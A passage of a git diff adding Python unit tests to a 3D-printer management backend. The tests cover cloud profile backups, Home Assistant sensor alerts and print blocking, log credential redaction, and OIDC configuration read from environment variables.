+        svc = _orca_service([{"id": 7, "name": "f", "content": {"type": "filament", "flow": 0.98}}])
+        files: dict = {}
+        with patch(
+            "backend.app.api.routes.orca_cloud._build_authenticated_service",
+            new_callable=AsyncMock,
+            return_value=svc,
+        ):
+            await service._collect_orca_profiles(db_session, files, "global", None)
+
+        stored = files["cloud_profiles/orca/global/filament.json"]["profiles"][0]
+        assert stored["content"] == {"type": "filament", "flow": 0.98}
+        assert svc.list_profiles.await_count == 1
+
+    @pytest.mark.asyncio
+    async def test_unmapped_types_are_kept_not_dropped(self, service, db_session):
+        """The Orca *route* drops profiles whose type it can't render, which is
+        right for a list and wrong for a backup: silently omitting a profile
+        because Orca added a type is the same class of bug as #2717."""
+        profiles = [
+            {"id": 1, "name": "f", "content": {"type": "filament"}},
+            {"id": 2, "name": "x", "content": {"type": "something_new"}},
+            {"id": 3, "name": "y", "content": {}},
+        ]
+        files: dict = {}
+        with patch(
+            "backend.app.api.routes.orca_cloud._build_authenticated_service",
+            new_callable=AsyncMock,
+            return_value=_orca_service(profiles),
+        ):
+            counts = await service._collect_orca_profiles(db_session, files, "global", None)
+
+        assert counts["other"] == 2
+        assert len(files["cloud_profiles/orca/global/other.json"]["profiles"]) == 2
+
+    @pytest.mark.asyncio
+    async def test_dead_pairing_writes_nothing_and_does_not_raise(self, service, db_session):
+        """An unexpected failure building the Orca client must not abort the
+        rest of the backup — the other accounts and the other cloud still have
+        profiles worth collecting."""
+        files: dict = {}
+        with patch(
+            "backend.app.api.routes.orca_cloud._build_authenticated_service",
+            new_callable=AsyncMock,
+            side_effect=RuntimeError("session expired"),
+        ):
+            counts = await service._collect_orca_profiles(db_session, files, "user-2", MagicMock())
+
+        assert counts == {}
+        assert files == {}
+
+    @pytest.mark.asyncio
+    async def test_the_backup_never_disconnects_an_account(self, service, db_session):
+        """A backup is an observer. It must not change anyone's sign-in state
+        on a schedule — least of all on Orca's composite rejection reason,
+        which cannot tell a real revocation from a lost refresh-rotation race.
+        The Profiles route clears the dead pairing instead, with the user
+        present to act on it.
+        """
+        from fastapi import HTTPException
+
+        build = AsyncMock(side_effect=HTTPException(status_code=401, detail="grant already used"))
+        files: dict = {}
+        with patch("backend.app.api.routes.orca_cloud._build_authenticated_service", build):
+            counts = await service._collect_orca_profiles(db_session, files, "global", None)
+
+        assert counts == {}
+        assert build.await_args.kwargs["clear_on_auth_failure"] is False
+
+    @pytest.mark.asyncio
+    async def test_a_rejected_session_says_it_will_keep_being_skipped(self, service, db_session, caplog):
+        """Not clearing means the warning recurs every run, so the one line the
+        operator sees has to say how to stop it."""
+        from fastapi import HTTPException
+
+        files: dict = {}
+        with (
+            caplog.at_level("WARNING"),
+            patch(
+                "backend.app.api.routes.orca_cloud._build_authenticated_service",
+                new_callable=AsyncMock,
+                side_effect=HTTPException(status_code=401, detail="refresh rejected: grant already used"),
+            ),
+        ):
+            counts = await service._collect_orca_profiles(db_session, files, "global", None)
+
+        assert counts == {}
+        assert "paired again" in caplog.text
+        assert "Later runs will skip it too" in caplog.text
+
+    @pytest.mark.asyncio
+    async def test_an_unreachable_orca_is_a_transient_skip(self, service, db_session, caplog):
+        """502 is very likely gone by the next run, so it must not carry the
+        "go and re-pair" advice a rejected session does."""
+        from fastapi import HTTPException
+
+        files: dict = {}
+        with (
+            caplog.at_level("WARNING"),
+            patch(
+                "backend.app.api.routes.orca_cloud._build_authenticated_service",
+                new_callable=AsyncMock,
+                side_effect=HTTPException(status_code=502, detail="Orca Cloud unreachable: timeout"),
+            ),
+        ):
+            counts = await service._collect_orca_profiles(db_session, files, "user-9", None)
+
+        assert counts == {}
+        assert "unreachable" in caplog.text
+        assert "paired again" not in caplog.text
+
+
+class TestCollectorAndMetadata:
+    @pytest.mark.asyncio
+    async def test_no_connected_account_collects_nothing(self, service, db_session):
+        files: dict = {}
+        with (
+            patch(
+                "backend.app.api.routes.cloud.get_stored_token",
+                new_callable=AsyncMock,
+                return_value=(None, None, "global"),
+            ),
+            patch(
+                "backend.app.api.routes.orca_cloud._load_credentials",
+                new_callable=AsyncMock,
+                return_value=MagicMock(token=None),
+            ),
+        ):
+            summary = await service._collect_cloud_profiles(db_session, files)
+
+        assert summary == {"bambu": {}, "orca": {}}
+        assert files == {}
+
+    @pytest.mark.asyncio
+    async def test_one_failing_account_does_not_stop_the_others(self, service, db_session):
+        a = User(username="a", cloud_token="t1")
+        b = User(username="b", cloud_token="t2")
+        db_session.add_all([a, b])
+        await db_session.commit()
+
+        def build(db, user=None):
+            if user is not None and user.username == "a":
+                raise RuntimeError("cloud down for this account")
+            return _bambu_cloud()
+
+        files: dict = {}
+        with (
+            patch(
+                "backend.app.api.routes.cloud.get_stored_token",
+                new_callable=AsyncMock,
+                return_value=(None, None, "global"),
+            ),
+            patch(
+                "backend.app.api.routes.orca_cloud._load_credentials",
+                new_callable=AsyncMock,
+                return_value=MagicMock(token=None),
+            ),
+            patch(
+                "backend.app.api.routes.cloud.build_authenticated_cloud",
+                new_callable=AsyncMock,
+                side_effect=build,
+            ),
+        ):
+            summary = await service._collect_cloud_profiles(db_session, files)
+
+        assert f"user-{a.id}" not in summary["bambu"]
+        assert summary["bambu"][f"user-{b.id}"] == {"filament": 1, "printer": 1, "process": 1}
+
+    @pytest.mark.asyncio
+    async def test_metadata_reports_collection_not_configuration(self, service, db_session):
+        """``contents.cloud_profiles`` said ``true`` on every backup, including
+        the ones that wrote nothing. A restore has to be able to trust it."""
+        config = MagicMock(
+            backup_kprofiles=False,
+            backup_cloud_profiles=True,
+            backup_settings=False,
+            backup_spools=False,
+            backup_archives=False,
+        )
+        with patch.object(
+            service, "_collect_cloud_profiles", new_callable=AsyncMock, return_value={"bambu": {}, "orca": {}}
+        ):
+            files = await service._collect_backup_data(db_session, config)
+
+        assert files["backup_metadata.json"]["contents"]["cloud_profiles"] is False
+        assert "cloud_profiles" not in files["backup_metadata.json"]
+
+    @pytest.mark.asyncio
+    async def test_metadata_records_per_account_counts_when_collected(self, service, db_session):
+        config = MagicMock(
+            backup_kprofiles=False,
+            backup_cloud_profiles=True,
+            backup_settings=False,
+            backup_spools=False,
+            backup_archives=False,
+        )
+        summary = {"bambu": {"user-3": {"filament": 2}}, "orca": {}}
+        with patch.object(service, "_collect_cloud_profiles", new_callable=AsyncMock, return_value=summary):
+            files = await service._collect_backup_data(db_session, config)
+
+        assert files["backup_metadata.json"]["contents"]["cloud_profiles"] is True
+        assert files["backup_metadata.json"]["cloud_profiles"] == summary
+
+
+class TestSettingsFallbackIsStillHonoured:
+    @pytest.mark.asyncio
+    async def test_global_orca_row_is_discovered(self, service, db_session):
+        """Orca's auth-disabled fallback lives in the same Settings table as
+        Bambu's; both stores are read on every run."""
+        db_session.add(Settings(key="orca_cloud_token", value="oc_ext_x"))
+        await db_session.commit()
+
+        with patch(
+            "backend.app.api.routes.cloud.get_stored_token",
+            new_callable=AsyncMock,
+            return_value=(None, None, "global"),
+        ):
+            _bambu, orca = await service.cloud_accounts(db_session)
+
+        assert orca == [("global", None)]

+ 281 - 0
backend/tests/unit/test_ha_sensor_manager_1148.py

@@ -0,0 +1,281 @@
+"""Unit tests for Home Assistant sensors bound to a printer (#1148, #448).
+
+The alert rules decide three separate things — the pill colour on the card, a
+notification, and whether the queue holds — so they are tested directly rather
+than through any one of those consumers.
+
+The recurring theme is that "we could not read it" must never be mistaken for
+a reading. A door contact whose integration has dropped out reports
+"unavailable", not "closed", and treating that as closed would let a print
+start into an open enclosure; treating it as *open* would strand the queue.
+Neither: it is not a reading at all.
+"""
+
+from types import SimpleNamespace
+from unittest.mock import AsyncMock, patch
+
+import pytest
+
+from backend.app.services.ha_sensor_manager import (
+    HASensorManager,
+    SensorReading,
+    describe_state,
+    evaluate,
+)
+
+
+def _sensor(**overrides):
+    """A sensor row as the poller sees it, without touching the DB."""
+    base = {
+        "id": 1,
+        "printer_id": 4,
+        "name": "Enclosure Door",
+        "entity_id": "binary_sensor.enclosure_door",
+        "kind": "binary",
+        "device_class": "door",
+        "unit": None,
+        "alert_state": "on",
+        "alert_above": None,
+        "alert_below": None,
+        "block_print": False,
+        "notify_on_alert": False,
+        "last_state": None,
+    }
+    base.update(overrides)
+    return SimpleNamespace(**base)
+
+
+def _numeric(**overrides):
+    base = {
+        "entity_id": "sensor.enclosure_temp",
+        "kind": "numeric",
+        "device_class": "temperature",
+        "unit": "\u00b0C",
+        "alert_state": None,
+        "name": "Enclosure Temp",
+    }
+    base.update(overrides)
+    return _sensor(**base)
+
+
+class TestEvaluateBinary:
+    def test_alerts_in_the_configured_state(self):
+        reading = evaluate(_sensor(), {"state": "on"})
+
+        assert reading == SensorReading(state="on", value=None, alerting=True, reachable=True)
+
+    def test_quiet_in_the_other_state(self):
+        assert evaluate(_sensor(), {"state": "off"}).alerting is False
+
+    def test_alert_state_off_inverts_the_rule(self):
+        """A "fan running" contact alarms when it stops, not when it starts."""
+        sensor = _sensor(alert_state="off", name="Exhaust Fan")
+
+        assert evaluate(sensor, {"state": "off"}).alerting is True
+        assert evaluate(sensor, {"state": "on"}).alerting is False
+
+    def test_no_alert_state_never_alerts(self):
+        """Display-only sensors are the default — they just show a state."""
+        sensor = _sensor(alert_state=None)
+
+        assert evaluate(sensor, {"state": "on"}).alerting is False
+        assert evaluate(sensor, {"state": "on"}).reachable is True
+
+    def test_state_is_normalised_to_lower_case(self):
+        """Some integrations report "ON"; the alert rule stores "on"."""
+        assert evaluate(_sensor(), {"state": "ON"}).state == "on"
+        assert evaluate(_sensor(), {"state": "ON"}).alerting is True
+
+
+class TestEvaluateNumeric:
+    def test_above_threshold_alerts(self):
+        assert evaluate(_numeric(alert_above=35), {"state": "41.2"}).alerting is True
+
+    def test_below_threshold_alerts(self):
+        assert evaluate(_numeric(alert_below=15), {"state": "12"}).alerting is True
+
+    def test_inside_the_band_is_quiet(self):
+        reading = evaluate(_numeric(alert_above=35, alert_below=15), {"state": "22.5"})
+
+        assert reading.alerting is False
+        assert reading.value == 22.5
+
+    def test_exactly_on_the_threshold_is_not_an_alert(self):
+        """Strict comparison, so a 35 °C limit does not alarm at exactly 35."""
+        assert evaluate(_numeric(alert_above=35), {"state": "35"}).alerting is False
+
+    def test_a_sensor_that_stops_reporting_numbers_does_not_alert(self):
+        """Reachable, but no value to compare — so no verdict either way."""
+        reading = evaluate(_numeric(alert_above=35), {"state": "calibrating"})
+
+        assert reading.reachable is True
+        assert reading.value is None
+        assert reading.alerting is False
+
+
+class TestUnreadable:
+    @pytest.mark.parametrize("state", ["unavailable", "unknown", None])
+    def test_ha_non_states_are_not_readings(self, state):
+        reading = evaluate(_sensor(), {"state": state})
+
+        assert reading.reachable is False
+        assert reading.alerting is False
+        assert reading.state is None
+
+    def test_a_failed_fetch_is_not_a_reading(self):
+        """fetch_states maps an entity it could not read to None."""
+        reading = evaluate(_sensor(), None)
+
+        assert reading == SensorReading(state=None, value=None, alerting=False, reachable=False)
+
+
+class TestDescribeState:
+    def test_binary_uses_the_raw_state(self):
+        assert describe_state(_sensor(), evaluate(_sensor(), {"state": "on"})) == "on"
+
+    def test_numeric_carries_its_unit(self):
+        sensor = _numeric()
+
+        assert describe_state(sensor, evaluate(sensor, {"state": "41.20"})) == "41.2 °C"
+
+    def test_numeric_without_a_unit_is_bare(self):
+        sensor = _numeric(unit=None)
+
+        assert describe_state(sensor, evaluate(sensor, {"state": "7"})) == "7"
+
+
+class TestBlockedPrinters:
+    """The interlock only ever reports a positive, current finding."""
+
+    def _manager_with(self, sensors, readings):
+        manager = HASensorManager()
+        manager._readings = readings
+        db = AsyncMock()
+        db.execute.return_value = SimpleNamespace(scalars=lambda: SimpleNamespace(all=lambda: sensors))
+        return manager, db
+
+    @pytest.mark.asyncio
+    async def test_reports_an_alerting_blocking_sensor(self):
+        sensor = _sensor(block_print=True)
+        manager, db = self._manager_with([sensor], {1: SensorReading("on", None, True, True)})
+
+        assert await manager.blocked_printers(db) == {4: "Enclosure Door"}
+
+    @pytest.mark.asyncio
+    async def test_silent_when_not_alerting(self):
+        sensor = _sensor(block_print=True)
+        manager, db = self._manager_with([sensor], {1: SensorReading("off", None, False, True)})
+
+        assert await manager.blocked_printers(db) == {}
+
+    @pytest.mark.asyncio
+    async def test_silent_when_home_assistant_is_unreachable(self):
+        """The queue must keep running when HA is down, not seize up."""
+        sensor = _sensor(block_print=True)
+        manager, db = self._manager_with([sensor], {1: SensorReading(None, None, False, False)})
+
+        assert await manager.blocked_printers(db) == {}
+
+    @pytest.mark.asyncio
+    async def test_silent_before_the_first_poll(self):
+        """A cold cache is not evidence the door is open."""
+        sensor = _sensor(block_print=True)
+        manager, db = self._manager_with([sensor], {})
+
+        assert await manager.blocked_printers(db) == {}
+
+    @pytest.mark.asyncio
+    async def test_names_every_blocking_sensor_on_a_printer(self):
+        sensors = [
+            _sensor(id=1, block_print=True, name="Front Door"),
+            _sensor(id=2, block_print=True, name="Side Panel"),
+        ]
+        manager, db = self._manager_with(
+            sensors,
+            {
+                1: SensorReading("on", None, True, True),
+                2: SensorReading("on", None, True, True),
+            },
+        )
+
+        assert await manager.blocked_printers(db) == {4: "Front Door, Side Panel"}
+
+
+class TestNotificationEdge:
+    """Alerts fire on the transition into the alert state, not while it lasts."""
+
+    async def _apply(self, manager, sensor, states, notify):
+        db = AsyncMock()
+        db.get.return_value = SimpleNamespace(name="X1C-1")
+        with patch("backend.app.services.notification_service.notification_service", notify):
+            await manager._apply(db, [sensor], states)
+
+    @pytest.mark.asyncio
+    async def test_fires_once_on_the_way_in(self):
+        manager = HASensorManager()
+        sensor = _sensor(notify_on_alert=True)
+        notify = AsyncMock()
+
+        # First poll seeds the cache; a door already open at startup has not
+        # just been opened.
+        await self._apply(manager, sensor, {sensor.entity_id: {"state": "off"}}, notify)
+        assert notify.on_ha_sensor_alert.await_count == 0
+
+        await self._apply(manager, sensor, {sensor.entity_id: {"state": "on"}}, notify)
+        assert notify.on_ha_sensor_alert.await_count == 1
+
+        # Still open on the next pass — no second alert.
+        await self._apply(manager, sensor, {sensor.entity_id: {"state": "on"}}, notify)
+        assert notify.on_ha_sensor_alert.await_count == 1
+
+    @pytest.mark.asyncio
+    async def test_silent_on_the_first_poll_after_a_restart(self):
+        """Cold cache. Re-announcing every pre-existing alert on every restart
+        is how users learn to ignore the alert."""
+        manager = HASensorManager()
+        sensor = _sensor(notify_on_alert=True)
+        notify = AsyncMock()
+
+        await self._apply(manager, sensor, {sensor.entity_id: {"state": "on"}}, notify)
+
+        assert notify.on_ha_sensor_alert.await_count == 0
+        assert manager.get_reading(sensor.id).alerting is True
+
+    @pytest.mark.asyncio
+    async def test_silent_when_the_sensor_opts_out(self):
+        manager = HASensorManager()
+        sensor = _sensor(notify_on_alert=False)
+        notify = AsyncMock()
+
+        await self._apply(manager, sensor, {sensor.entity_id: {"state": "off"}}, notify)
+        await self._apply(manager, sensor, {sensor.entity_id: {"state": "on"}}, notify)
+
+        assert notify.on_ha_sensor_alert.await_count == 0
+
+    @pytest.mark.asyncio
+    async def test_re_arms_after_the_alert_clears(self):
+        manager = HASensorManager()
+        sensor = _sensor(notify_on_alert=True)
+        notify = AsyncMock()
+
+        for state in ("off", "on", "off", "on"):
+            await self._apply(manager, sensor, {sensor.entity_id: {"state": state}}, notify)
+
+        assert notify.on_ha_sensor_alert.await_count == 2
+
+    @pytest.mark.asyncio
+    async def test_a_dropout_does_not_count_as_the_alert_clearing(self):
+        """on -> unavailable -> on is one continuous alert, not two.
+
+        Without this, a flaky Zigbee contact would notify on every reconnect.
+        """
+        manager = HASensorManager()
+        sensor = _sensor(notify_on_alert=True)
+        notify = AsyncMock()
+
+        await self._apply(manager, sensor, {sensor.entity_id: {"state": "off"}}, notify)
+        await self._apply(manager, sensor, {sensor.entity_id: {"state": "on"}}, notify)
+        await self._apply(manager, sensor, {sensor.entity_id: None}, notify)
+        await self._apply(manager, sensor, {sensor.entity_id: {"state": "on"}}, notify)
+
+        assert notify.on_ha_sensor_alert.await_count == 1

+ 38 - 0
backend/tests/unit/test_log_credential_redaction.py

@@ -10,6 +10,7 @@ into the log.
 """
 """
 
 
 import asyncio
 import asyncio
+import time
 
 
 from backend.app.api.routes.camera import _read_ffmpeg_stderr, _summarize_ffmpeg_stderr
 from backend.app.api.routes.camera import _read_ffmpeg_stderr, _summarize_ffmpeg_stderr
 from backend.app.core.logging_filters import redact_url_credentials
 from backend.app.core.logging_filters import redact_url_credentials
@@ -71,6 +72,43 @@ class TestRedactUrlCredentials:
         assert redact_url_credentials("") == ""
         assert redact_url_credentials("") == ""
         assert redact_url_credentials(None) is None
         assert redact_url_credentials(None) is None
 
 
+    def test_a_long_scheme_like_run_does_not_blow_up(self):
+        """The scheme repetition is capped so the match stays linear.
+
+        Unbounded, the engine restarted at every offset of a run of
+        scheme-legal characters and consumed to the end each time before
+        failing to find ``://`` — quadratic in the length of the line, and
+        ffmpeg echoes the operator's camera URL into the subject. An absolute
+        timing bound would be flaky, so this pins the growth rate instead:
+        doubling the input must not quadruple the work. Measured against the
+        unbounded pattern, these two inputs took 550ms and 2187ms (ratio 3.97,
+        so the assertion fails); bounded, 2.8ms and 5.4ms (ratio 1.98).
+        """
+        small = "A" * 32_000 + "://@"
+        large = "A" * 64_000 + "://@"
+
+        start = time.perf_counter()
+        assert redact_url_credentials(small) == small
+        small_elapsed = time.perf_counter() - start
+
+        start = time.perf_counter()
+        assert redact_url_credentials(large) == large
+        large_elapsed = time.perf_counter() - start
+
+        # Linear would be ~2x. Allow generous slack for a loaded CI box while
+        # still failing the ~4x of a quadratic match.
+        assert large_elapsed < max(small_elapsed * 3, 0.5)
+
+    def test_a_scheme_longer_than_the_cap_still_gets_its_secret_masked(self):
+        """The cap bounds backtracking; it must not create a redaction hole.
+
+        A pseudo-scheme longer than the cap simply matches from a later
+        offset, so the password is still replaced.
+        """
+        result = redact_url_credentials("Z" * 100 + "://user:hunter2@host/path")
+        assert "hunter2" not in result
+        assert result.endswith("://user:[REDACTED]@host/path")
+
 
 
 class TestFfmpegStderrFunnel:
 class TestFfmpegStderrFunnel:
     """`_summarize_ffmpeg_stderr` is the one funnel every stderr log in the
     """`_summarize_ffmpeg_stderr` is the one funnel every stderr log in the

+ 126 - 0
backend/tests/unit/test_oidc_env_managed_migration.py

@@ -0,0 +1,126 @@
+"""The is_env_managed column has to reach databases that already exist (#2593).
+
+The model test covers a table freshly created from metadata, which is not how
+an upgrade arrives: an installed instance has an oidc_providers table without
+the column, and only run_migrations adds it there. Every boot re-runs the whole
+migration set, so adding it twice must be a no-op rather than an error.
+"""
+
+from __future__ import annotations
+
+import pytest
+from sqlalchemy import text
+from sqlalchemy.ext.asyncio import create_async_engine
+
+from backend.app.core.database import Base, run_migrations
+
+
+def _register_all_models():
+    from backend.app.models import (  # noqa: F401
+        ams_history,
+        ams_label,
+        api_key,
+        archive,
+        color_catalog,
+        external_link,
+        filament,
+        group,
+        kprofile_note,
+        library,
+        maintenance,
+        notification,
+        notification_template,
+        print_log,
+        print_queue,
+        printer,
+        project,
+        project_bom,
+        settings,
+        slot_preset,
+        smart_plug,
+        smart_plug_energy_snapshot,
+        spool,
+        spool_assignment,
+        spool_catalog,
+        spool_k_profile,
+        spool_usage_history,
+        spoolbuddy_device,
+        user,
+        user_email_pref,
+        virtual_printer,
+    )
+
+
+@pytest.fixture(autouse=True)
+def force_sqlite_dialect(monkeypatch):
+    """Force the SQLite branch regardless of test env settings."""
+    from backend.app.core import database as database_module, db_dialect
+
+    monkeypatch.setattr(db_dialect, "is_sqlite", lambda: True)
+    monkeypatch.setattr(db_dialect, "is_postgres", lambda: False)
+    monkeypatch.setattr(database_module, "is_sqlite", lambda: True)
+
+
+@pytest.fixture
+async def engine():
+    """A database as it stands before this change: every table created from the
+    models, then the new column dropped again -- the model already declares it,
+    so only removing it reproduces what an installed instance actually has."""
+    _register_all_models()
+
+    eng = create_async_engine("sqlite+aiosqlite:///:memory:", echo=False)
+    async with eng.begin() as conn:
+        await conn.run_sync(Base.metadata.create_all)
+        await conn.execute(text("ALTER TABLE oidc_providers DROP COLUMN is_env_managed"))
+    yield eng
+    await eng.dispose()
+
+
+async def _columns(conn) -> set[str]:
+    rows = await conn.execute(text("PRAGMA table_info(oidc_providers)"))
+    return {r[1] for r in rows}
+
+
+@pytest.mark.asyncio
+async def test_migration_adds_the_column_to_an_existing_table(engine):
+    async with engine.connect() as conn:
+        assert "is_env_managed" not in await _columns(conn)
+
+    async with engine.begin() as conn:
+        await run_migrations(conn)
+
+    async with engine.connect() as conn:
+        assert "is_env_managed" in await _columns(conn)
+
+
+@pytest.mark.asyncio
+async def test_existing_rows_default_to_not_env_managed(engine):
+    """A provider created through the UI before the upgrade must not come back
+    locked -- is_env_managed decides whether the API refuses to edit it."""
+    async with engine.begin() as conn:
+        await conn.execute(
+            text(
+                "INSERT INTO oidc_providers"
+                " (id, name, issuer_url, client_id, client_secret, scopes, is_enabled,"
+                "  auto_create_users, auto_link_existing_accounts, email_claim,"
+                "  require_email_verified)"
+                " VALUES (1, 'UI provider', 'https://sso.example', 'app', 'enc',"
+                "  'openid email profile', 1, 0, 0, 'email', 1)"
+            )
+        )
+        await run_migrations(conn)
+
+    async with engine.connect() as conn:
+        row = await conn.execute(text("SELECT is_env_managed FROM oidc_providers WHERE id = 1"))
+        assert not row.scalar()
+
+
+@pytest.mark.asyncio
+async def test_it_is_idempotent(engine):
+    """Every boot re-runs the migration set."""
+    for _ in range(2):
+        async with engine.begin() as conn:
+            await run_migrations(conn)
+
+    async with engine.connect() as conn:
+        assert "is_env_managed" in await _columns(conn)

+ 12 - 0
backend/tests/unit/test_oidc_env_provider.py

@@ -0,0 +1,12 @@
+import pytest
+
+from backend.app.models.oidc_provider import OIDCProvider
+
+
+@pytest.mark.asyncio
+async def test_is_env_managed_defaults_false(db_session):
+    p = OIDCProvider(name="x", issuer_url="https://i", client_id="c", client_secret="s")
+    db_session.add(p)
+    await db_session.commit()
+    await db_session.refresh(p)
+    assert p.is_env_managed is False

+ 248 - 0
backend/tests/unit/test_oidc_env_reader.py

@@ -0,0 +1,248 @@
+"""BAMBUDDY_OIDC_* reader (#2593).
+
+The reader is deliberately dumb: it maps env vars to field names and applies
+defaults. Whether the resulting provider is *valid* is decided later, by the
+same OIDCProviderCreate schema the API uses, so env config cannot bypass a
+check the UI enforces.
+"""
+
+from __future__ import annotations
+
+import pytest
+
+from backend.app.core.oidc_env import EnvOIDCConfigError, env_bool, read_env_oidc_config
+
+REQUIRED = {
+    "BAMBUDDY_OIDC_NAME": "Keycloak",
+    "BAMBUDDY_OIDC_ISSUER_URL": "https://sso.example.com/realms/main",
+    "BAMBUDDY_OIDC_CLIENT_ID": "bambuddy",
+    "BAMBUDDY_OIDC_CLIENT_SECRET": "s3cr3t",
+}
+
+OPTIONAL = (
+    "BAMBUDDY_OIDC_SCOPES",
+    "BAMBUDDY_OIDC_ENABLED",
+    "BAMBUDDY_OIDC_AUTO_CREATE_USERS",
+    "BAMBUDDY_OIDC_AUTO_LINK_EXISTING",
+    "BAMBUDDY_OIDC_EMAIL_CLAIM",
+    "BAMBUDDY_OIDC_REQUIRE_EMAIL_VERIFIED",
+    "BAMBUDDY_OIDC_ICON_URL",
+    "BAMBUDDY_OIDC_AUTOLOGIN",
+    "BAMBUDDY_OIDC_DEFAULT_GROUP",
+)
+
+
+@pytest.fixture(autouse=True)
+def clean_env(monkeypatch):
+    for key in (*REQUIRED, *OPTIONAL):
+        monkeypatch.delenv(key, raising=False)
+
+
+def _set_required(monkeypatch):
+    for key, value in REQUIRED.items():
+        monkeypatch.setenv(key, value)
+
+
+def test_returns_none_when_nothing_is_configured():
+    assert read_env_oidc_config() is None
+
+
+@pytest.mark.parametrize("missing", sorted(REQUIRED))
+def test_returns_none_when_any_single_required_var_is_missing(monkeypatch, missing):
+    """All four or nothing -- a half-configured provider must not reach the
+    database, where it would fail at authorize time instead of at startup."""
+    _set_required(monkeypatch)
+    monkeypatch.delenv(missing)
+    assert read_env_oidc_config() is None
+
+
+@pytest.mark.parametrize("raw", ["", "   ", "\n", " \t\n "])
+@pytest.mark.parametrize("key", sorted(REQUIRED))
+def test_an_empty_required_var_counts_as_unset(monkeypatch, key, raw):
+    """`BAMBUDDY_OIDC_CLIENT_SECRET=` in a compose file is a forgotten value,
+    not an intentional empty secret -- and neither is one holding only
+    whitespace, which the optional vars have always treated as unset."""
+    _set_required(monkeypatch)
+    monkeypatch.setenv(key, raw)
+    assert read_env_oidc_config() is None
+
+
+@pytest.mark.parametrize("key", sorted(REQUIRED))
+def test_a_required_var_is_stripped(monkeypatch, key):
+    """A Kubernetes Secret written as a block scalar carries a trailing
+    newline, and the schema bounds these four by max_length only -- so an
+    unstripped issuer_url reaches the database, enables the SSO button and
+    then raises httpx.InvalidURL on the first click, long after startup could
+    have refused it."""
+    _set_required(monkeypatch)
+    monkeypatch.setenv(key, f"  {REQUIRED[key]}\n")
+
+    cfg = read_env_oidc_config()
+    field = {
+        "BAMBUDDY_OIDC_NAME": "name",
+        "BAMBUDDY_OIDC_ISSUER_URL": "issuer_url",
+        "BAMBUDDY_OIDC_CLIENT_ID": "client_id",
+        "BAMBUDDY_OIDC_CLIENT_SECRET": "client_secret",
+    }[key]
+    assert cfg[field] == REQUIRED[key]
+
+
+def test_reads_the_required_vars(monkeypatch):
+    _set_required(monkeypatch)
+    cfg = read_env_oidc_config()
+    assert cfg["name"] == "Keycloak"
+    assert cfg["issuer_url"] == "https://sso.example.com/realms/main"
+    assert cfg["client_id"] == "bambuddy"
+    assert cfg["client_secret"] == "s3cr3t"
+
+
+def test_applies_the_documented_defaults(monkeypatch):
+    _set_required(monkeypatch)
+    cfg = read_env_oidc_config()
+    assert cfg["scopes"] == "openid email profile"
+    assert cfg["is_enabled"] is True
+    assert cfg["auto_create_users"] is False
+    assert cfg["auto_link_existing_accounts"] is False
+    assert cfg["email_claim"] == "email"
+    assert cfg["require_email_verified"] is True
+    assert cfg["icon_url"] is None
+    assert cfg["is_autologin"] is False
+
+
+@pytest.mark.parametrize("raw", ["true", "TRUE", "True", "1", "yes", "YES", " yes "])
+def test_booleans_accept_the_project_truthy_spellings(monkeypatch, raw):
+    _set_required(monkeypatch)
+    monkeypatch.setenv("BAMBUDDY_OIDC_AUTO_CREATE_USERS", raw)
+    assert read_env_oidc_config()["auto_create_users"] is True
+
+
+@pytest.mark.parametrize("raw", ["false", "FALSE", "False", "0", "no", "NO"])
+def test_falsy_values_are_false(monkeypatch, raw):
+    _set_required(monkeypatch)
+    monkeypatch.setenv("BAMBUDDY_OIDC_AUTO_CREATE_USERS", raw)
+    assert read_env_oidc_config()["auto_create_users"] is False
+
+
+@pytest.mark.parametrize("raw", ["on", "enabled", "y", "nonsense"])
+def test_an_unrecognized_boolean_is_rejected(monkeypatch, raw):
+    """Only the documented spellings are accepted; an unrecognised value must
+    not silently turn a flag on or off -- it must refuse the whole config
+    instead of guessing (M-R4 strict boolean parsing)."""
+    _set_required(monkeypatch)
+    monkeypatch.setenv("BAMBUDDY_OIDC_AUTO_CREATE_USERS", raw)
+    with pytest.raises(EnvOIDCConfigError, match="BAMBUDDY_OIDC_AUTO_CREATE_USERS"):
+        read_env_oidc_config()
+
+
+def test_a_boolean_default_of_true_can_be_turned_off(monkeypatch):
+    _set_required(monkeypatch)
+    monkeypatch.setenv("BAMBUDDY_OIDC_REQUIRE_EMAIL_VERIFIED", "false")
+    assert read_env_oidc_config()["require_email_verified"] is False
+
+
+# --- env_bool, tested directly ------------------------------------------------
+# The reader-level tests above pin the contract through read_env_oidc_config;
+# these exercise the helper itself so its default/blank/reject behavior is
+# proven independently of any particular BAMBUDDY_OIDC_* field.
+
+
+@pytest.mark.parametrize("raw", ["false", "FALSE", "0", "no", "NO"])
+def test_env_bool_falsy_values_are_false(monkeypatch, raw):
+    monkeypatch.setenv("SOME_FLAG", raw)
+    assert env_bool("SOME_FLAG", True) is False
+
+
+@pytest.mark.parametrize("default", [True, False])
+def test_env_bool_absent_is_the_given_default(monkeypatch, default):
+    monkeypatch.delenv("SOME_FLAG", raising=False)
+    assert env_bool("SOME_FLAG", default) is default
+
+
+@pytest.mark.parametrize("raw", ["", "   "])
+@pytest.mark.parametrize("default", [True, False])
+def test_env_bool_blank_is_the_given_default(monkeypatch, raw, default):
+    monkeypatch.setenv("SOME_FLAG", raw)
+    assert env_bool("SOME_FLAG", default) is default
+
+
+@pytest.mark.parametrize("raw", ["on", "enabled", "y", "nonsense"])
+def test_env_bool_rejects_an_unrecognized_value(monkeypatch, raw):
+    monkeypatch.setenv("SOME_FLAG", raw)
+    with pytest.raises(EnvOIDCConfigError, match="SOME_FLAG"):
+        env_bool("SOME_FLAG", True)
+
+
+@pytest.mark.parametrize("raw", ["on", "enabled", "y", "nonsense"])
+@pytest.mark.parametrize("default", [True, False])
+def test_env_bool_lenient_falls_back_to_default_on_unrecognized(monkeypatch, raw, default):
+    """strict=False (the request-path callers like BAMBUDDY_LOCAL_LOGIN): an
+    unrecognized value must return the default, never raise -- a raise there
+    would 500 a live endpoint rather than skip a startup config."""
+    monkeypatch.setenv("SOME_FLAG", raw)
+    assert env_bool("SOME_FLAG", default, strict=False) is default
+
+
+def test_optional_strings_override_their_defaults(monkeypatch):
+    _set_required(monkeypatch)
+    monkeypatch.setenv("BAMBUDDY_OIDC_SCOPES", "openid profile groups")
+    monkeypatch.setenv("BAMBUDDY_OIDC_EMAIL_CLAIM", "mail")
+    monkeypatch.setenv("BAMBUDDY_OIDC_ICON_URL", "https://sso.example.com/logo.png")
+    cfg = read_env_oidc_config()
+    assert cfg["scopes"] == "openid profile groups"
+    assert cfg["email_claim"] == "mail"
